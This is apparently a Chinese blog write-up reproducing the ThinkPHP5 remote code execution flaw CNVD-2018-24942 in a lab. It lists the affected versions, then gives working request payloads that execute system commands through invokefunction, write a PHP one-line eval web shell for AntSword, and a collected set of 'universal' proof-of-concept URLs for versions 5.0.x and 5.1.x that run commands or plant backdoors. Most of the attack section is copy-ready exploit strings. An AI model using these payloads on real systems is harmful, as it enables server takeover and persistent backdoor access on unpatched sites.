0x00 漏洞概述
编号为CNVD-2018-24942。
ThinkPHP5存在远程代码执行漏洞。由于框架对控制器名称未能进行充分检测,攻击者可以利用该漏洞对网站进行远程命令执行(RCE)。
影响产品包括:
- 上海顶想信息科技有限公司 ThinkPHP 5.*,<5.1.31
- 上海顶想信息科技有限公司 ThinkPHP <=5.0.23
尝试复现时需要注意版本,若版本处在5.0.13~5.0.19,由于config中app_debug
配置项默认为false
,使得Payload失效。
大致统计结果如下表:
版本号 | 是否可被攻击 | 条件 |
---|---|---|
5.0.0 | 否 | |
5.0.1 | 否 | |
5.0.2 | 否 | |
5.0.3 | 否 | |
5.0.4 | 否 | |
5.0.5 | 否 | |
5.0.6 | 否 | |
5.0.7 | 否 | |
5.0.8 | 是 | 无需开启debug模式 |
5.0.9 | 是 | 无需开启debug模式 |
5.0.10 | 是 | 无需开启debug模式 |
5.0.11 | 是 | 无需开启debug模式 |
5.0.12 | 是 | 无需开启debug模式 |
5.0.13 | 是 | 需开启debug模式 |
5.0.14 | 是 | 需开启debug模式 |
5.0.15 | 是 | 需开启debug模式 |
5.0.16 | 是 | 需开启debug模式 |
5.0.17 | 是 | 需开启debug模式 |
5.0.18 | 是 | 需开启debug模式 |
5.0.19 | 是 | 需开启debug模式 |
5.0.20 | 否 | |
5.0.21 | 是 | 需开启debug模式 |
5.0.22 | 是 | 需开启debug模式 |
5.0.23 | 是 | 需开启debug模式 |
0x01 远程代码执行
访问靶机:
传入:
?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=pwd
实际上就是非法传参调用函数,再通过数组拆分传入函数参数。
这已经构造出了任意命令执行。
0x02 木马
利用远程命令执行可以轻松写入一句话木马。写入一个shell.php:
?s=index/\think\template\driver\file/write&cacheFile=shell.php&content=%3C?php%20@eval($_POST[pass])?%3E
蚁剑连接成功:
可以在/root目录下看到该机器以前执行的文件:
0x03 大佬的POC
通杀:
# 版本号5.0.8~5.0.19
?s=whoami&_method=__construct&filter&filter=system
# 版本号5.0.20~5.0.23
_method=__construct&filter[]=system&method=get&server[REQUSET_METHOD]=whoami
5.1.x php版本>5.5:
?s=index/think\request/input?data[]=phpinfo()&filter=assert
?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
?s=index/\think\template\driver\file/write?cacheFile=shell.php&content=<?php%20phpinfo();?>
5.0.x php版本>=5.4:
?s=index/\\think\\template\driver\\file/write&cacheFile=zxc0.php&content=<?php @eval($_POST[xxxxxx]);?>'
?s=/index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=zxc1.php&vars[1][]=<?php @eval($_POST[xxxxxx]);?>'
?s=/index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo \'<?php @eval($_POST[xxxxxx]);?>\'>zxc2.php'
0x04 废话
首次使用Windows搭建Docker,花费了大量时间。使用WSL2能够摆脱Hyper-V的束缚,性能表现也有所提升。